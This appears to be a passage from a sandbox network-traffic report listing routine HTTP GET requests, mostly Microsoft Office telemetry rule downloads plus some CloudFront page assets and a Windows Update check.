Source: global traffic	HTTP traffic detected: GET /live/campaign/js/24a5b93b0f.poll.js HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vendor/1.6.5/angular.min.js HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DGcxpd6N9a4u5Ff&MD=YzNwarnv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
